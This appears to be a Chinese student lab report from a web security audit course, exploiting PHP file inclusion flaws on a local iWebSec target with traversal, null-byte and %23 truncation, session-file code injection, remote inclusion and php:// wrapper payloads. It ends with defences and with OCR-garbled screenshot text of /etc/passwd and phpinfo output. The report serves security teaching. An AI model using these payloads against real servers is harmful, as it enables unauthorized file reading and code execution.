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实验（实训）报告
类型： 验证性  演示性  综合性 设计研究性  其他：       

课程名称：Web应用安全审计   课程性质：专业核心课
项目名称:   文件包含漏洞审计  指导教师： 肖泽亮
班级：                  学号：           学生姓名： 
1、 实验（实训）目的和任务
1.理解文件包含漏洞的产生原理、分类与危害。
2.掌握本地文件包含（LFI）、远程文件包含（RFI）、Session 文件包含及PHP 伪协议的利用方法。
3.学会%00截断、%23截断等绕过技巧，完成漏洞验证与利用。
4.掌握文件包含漏洞的代码审计要点与安全防御方案。

2、 实验（实训）内容及原理
[bookmark: heading_3]1. 核心原理
文件包含漏洞是因代码将用户可控参数直接传入include()、require()等函数，未做严格过滤，导致攻击者可读取任意文件或执行恶意代码。
[bookmark: heading_4]2. 漏洞类型与利用原理
无限制本地文件包含：参数无过滤，直接传入系统文件路径即可读取。
有限制本地文件包含：代码强制拼接后缀，可通过%00空字符截断绕过后缀限制。
Session 文件包含：用户输入写入 Session 文件，结合文件包含漏洞执行恶意代码。
远程文件包含：开启allow_url_fopen与allow_url_include，可包含远程恶意文件。
PHP 伪协议：php://filter读源码、file://读本地文件、php://input执行代码。

3、 实验（实训）步骤
[bookmark: heading_6]（一）无限制文件包含漏洞（4.1，Kali 操作）
启动 Kali 与 iWebSec 靶机，确认网络互通。
访问漏洞页面：http://192.168.44.128/fi/01.php。
构造 Payload 读取系统文件：http://192.168.44.128/fi/01.php?filename=/etc/passwd。
页面成功输出/etc/passwd内容，漏洞存在。
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[bookmark: heading_7]（二）有限制本地文件包含（4.2，Windows 操作）
访问：http://192.168.44.128/fi/02.php。
常规访问测试：filename=test.txt，报错test.txt.html不存在，后缀限制生效。
[image: ]
%00截断绕过：http://192.168.44.128/fi/02.php?filename=/etc/passwd%00。
成功读取/etc/passwd，绕过限制。
[image: ]
[bookmark: heading_8]（三）Session 文件包含漏洞（4.3，Windows 操作）
访问写入页面：http://192.168.44.128/fi/03.php。
写入恶意代码：?iwebsec=<?php phpinfo();?>。

F12 获取 PHPSESSID。
[image: ]
包含 Session 文件：http://192.168.44.128/fi/01.php?filename=/var/lib/php/session/sess_你的PHPSESSID。
成功执行phpinfo()，漏洞利用完成。
[image: ]
[bookmark: heading_9]（四）远程文件包含（05.php）
开启allow_url_fopen=On、allow_url_include=On并重启服务。
源码强制拼接.html，用%23截断：?filename=http://192.168.44.1/test.txt%23。
成功包含远程文件。
[image: ]
[bookmark: heading_10]（五）PHP 伪协议利用（06.php、09.php）
php://filter读源码：?filename=php://filter/convert.base64-encode/resource=06.php。
[image: ]
file://读本地文件：?filename=file:///etc/passwd。
[image: ]

4、 实验（实训）数据
	实验环节
	Payload
	实验结果

	无限制 LFI
	?filename=/etc/passwd
	成功读取系统用户文件

	有限制 LFI
	?filename=/etc/passwd%00
	%00 截断绕过后缀

	Session 包含
	包含 sess_* 文件
	成功执行 phpinfo ()

	php RFI
	?filename=http://x.x.x.x/test.txt%23
	成功包含远程文件

	php 伪协议
	php://filter 读源码
	获取文件 base64 编码

	php file 协议
	file:///etc/passwd
	明文读取系统文件



五、实验（实训）结论与感悟
[bookmark: heading_13]1. 实验结论
（1）无限制文件包含：核心缺陷是用户参数直接传入   include() / require()      函数无过滤，可直接读取任意文件，审计重点是检查参数是否做白名单与路径限制。
（2）有限制 LFI：核心缺陷是仅后缀校验无过滤特殊字符，可通过     %00（空字节）  截断绕过，审计重点是过滤../、%00并使用realpath()校验路径。
（3）Session 文件包含：核心缺陷是用户输入直接写入 $_SESSION       ，结合文件包含可 getshell，审计重点是过滤 Session 内容、修改存储路径。
（4）RFI 与伪协议：PHP 危险配置与伪协议滥用可导致代码执行，审计重点是关闭     allow_url_fopen  、限制 allow_url_include      使用。
[bookmark: heading_14]2. 实训感悟
[bookmark: _GoBack]通过本次实训，我完整掌握了文件包含漏洞的利用链与防御方法。漏洞的本质是用户输入  被当作代码执行      ，开发中必须严格    设置白名单     、设置 路径限制      、过滤   危险字符（../、%00、%23）     、关闭危险 PHP  函数（allow_url_fopen、allow_url_include）     。代码审计时需重点关注include()系列函数的参数来源，从源头避免文件包含漏洞。
[bookmark: heading_15]六、防御建议
1.对包含文件设置白名单，仅允许指定目录与文件。
2.过滤../、%00、%23等危险字符，禁用路径跳转。
3.关闭allow_url_fopen与allow_url_include。
4.使用realpath()校验文件路径，避免目录穿越。
5.Session 内容严格过滤，存储到非 Web 可访问目录。
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/01.phpZfilename=test.txt

usernamels:18:"

PHP Version 5.2.17 php

system Linux be23a49ch37c 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 1833:37 UTC 2016 x86_64

BuildDate  |Nov7201608:11:44

Configure |/configure'*with-config-file-path=/usr/etc' *~with-config-file-scan-dir=/usr/etc/contd "~
Command |prefix=/ust* libexeccir=/usr/libexec’ without-pear” with-d *~enable-sockets' with-jpeg-
| dir=fus ~with-pg-dir=/usr *~enable-exif enable-zip' vith-zib' “~with-zlib-dir=/usr "
st *~enable-to! "~enable-cgi" —with-cur=/usr" 'ith-tidy’ ‘~vith-xmirpc" ~enable-sysvsem
—enable-sysvshn "—enable-shmop' -with-pdo-saite "—enable-pent -with-readline’ ‘~enable-
mbstring' ~disable-debug’ —enable-forn' -~enable-bcmath'“~with-apxs2=/usr/sbin/apxs' "~
enable-fasteg —with-mysal ‘~with-mysali -with-pdo-mysal” vith-ocir=libss"

ServeraPl | Apache 20 Handler

|Virtual [disabled

Configuration | fusr/etc

Loaded |rustfetc/php.ni

Scan this dir for | /usr/etc/confd
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109 php?filename=file-//etc/passwd

root:x0:0:root /root /bin/bash binx-1-1-bin:/bin:/sbin/nologin daemonx2:2:daemon:/sbin-/sbin/nologin adm:x 3:4:adm:Avar/adm/sbin/nologin Ip:x-4-7Ip:Var/spool/ipd-/sbin/nologin
sync:x5:0:sync:/sbin:/bin/sync shutdown:x6-0:shutdown:/sbin'/sbin/shutdown halt:x 7-0-halt /sbin:/sbin/hait mail x 8-12-mail /var/spool/mail /sbin/nologin uucp:x-10:14:uucp:/var/spool/
uucp:/sbin/nologin operator x11:0-operator-/root /sbin/nologin games:x-12:100:games /usr/games/sbin/nologin gopher x 13:30-gopher-var/gopher-/sbin/nologin fip:x 14:50:FTP User/
var/ftp:/sbin/nologin nobody-x 99:99"Nobody:/-/sbin/nologin vesa x 69'69virtual console memory owner-/dev/sbin/nologin saslauth x 499:76-Saslauthd user var/empty/sasiauth:/sbin/
nologin apache:x 48:48:Apache:/varfwww:/sbin/nologin mysql:x 27-27-MySQL Server-/var/lib/mysql-/bin/bash sshd:x 74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
walkx501:501:/nome/walk /bin/bash redisx498:499'Redis Database Server-/var/lib/redis /sbin/nologin dbus x 8181 System message bus://sbin/nologin weblogic x 502:502/home/

weblogic:/bin/bash nginxx 497-498:Nginx web server-var/lib/nginx-/sbin/nologin
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/01 php?filename=test txt

root:x0:0:root /root /bin/bash binx-1-1-bin:/bin:/sbin/nologin daemonx2:2:daemon:/sbin-/sbin/nologin adm:x 3:4:adm:Avar/adm/sbin/nologin Ip:x-4-7Ip:Var/spool/ipd-/sbin/nologin
sync:x5:0:sync:/sbin:/bin/sync shutdown:x6-0:shutdown:/sbin'/sbin/shutdown halt:x 7-0-halt /sbin:/sbin/hait mail x 8-12-mail /var/spool/mail /sbin/nologin uucp:x-10:14:uucp:/var/spool/
uucp:/sbin/nologin operator x11:0-operator-/root /sbin/nologin games:x-12:100:games /usr/games/sbin/nologin gopher x 13:30-gopher-var/gopher-/sbin/nologin fip:x 14:50:FTP User/
var/ftp:/sbin/nologin nobody-x 99:99"Nobody:/-/sbin/nologin vesa x 69'69virtual console memory owner-/dev/sbin/nologin saslauth x 499:76-Saslauthd user var/empty/sasiauth:/sbin/
nologin apache:x 48:48:Apache:/varfwww:/sbin/nologin mysql:x 27-27-MySQL Server-/var/lib/mysql-/bin/bash sshd:x 74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
walkx501:501:/nome/walk /bin/bash redisx498:499'Redis Database Server-/var/lib/redis /sbin/nologin dbus x 8181 System message bus://sbin/nologin weblogic x 502:502/home/

weblogic:/bin/bash nginxx 497-498:Nginx web server-var/lib/nginx-/sbin/nologin
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102 php?filename=test tt%00

# [rme [memory [Function [Location
1 0.0001 8520 main}) 102php:0
# [rme [memory [Function [Location
1 0.0001 8520 main}) 102php:0





image4.png
O R 192.16844.129/1i/02.php?filename=/etc/passwd%00

O srmm B s

iwebsec

IENIEFESTSQUEN. XHEE. oHfT. XXE. RFFIHE. SSRF, XSS, i HEEE NAwebBRIME

FizaEsRd

102 php?filename=test tt%00

root:x0:0:root /root /bin/bash binx-1-1-bin:/bin:/sbin/nologin daemonx2:2:daemon:/sbin-/sbin/nologin adm:x 3:4:adm:Avar/adm/sbin/nologin Ip:x-4-7Ip:Var/spool/ipd-/sbin/nologin
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uucp:/sbin/nologin operator x11:0-operator-/root /sbin/nologin games:x-12:100:games /usr/games/sbin/nologin gopher x 13:30-gopher-var/gopher-/sbin/nologin fip:x 14:50:FTP User/
var/ftp:/sbin/nologin nobody-x 99:99"Nobody:/-/sbin/nologin vesa x 69'69virtual console memory owner-/dev/sbin/nologin saslauth x 499:76-Saslauthd user var/empty/sasiauth:/sbin/
nologin apache:x 48:48:Apache:/varfwww:/sbin/nologin mysql:x 27-27-MySQL Server-/var/lib/mysql-/bin/bash sshd:x 74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
walkx501:501:/nome/walk /bin/bash redisx498:499'Redis Database Server-/var/lib/redis /sbin/nologin dbus x 8181 System message bus://sbin/nologin weblogic x 502:502/home/

weblogic:/bin/bash nginxx 497-498:Nginx web server-var/lib/nginx-/sbin/nologin
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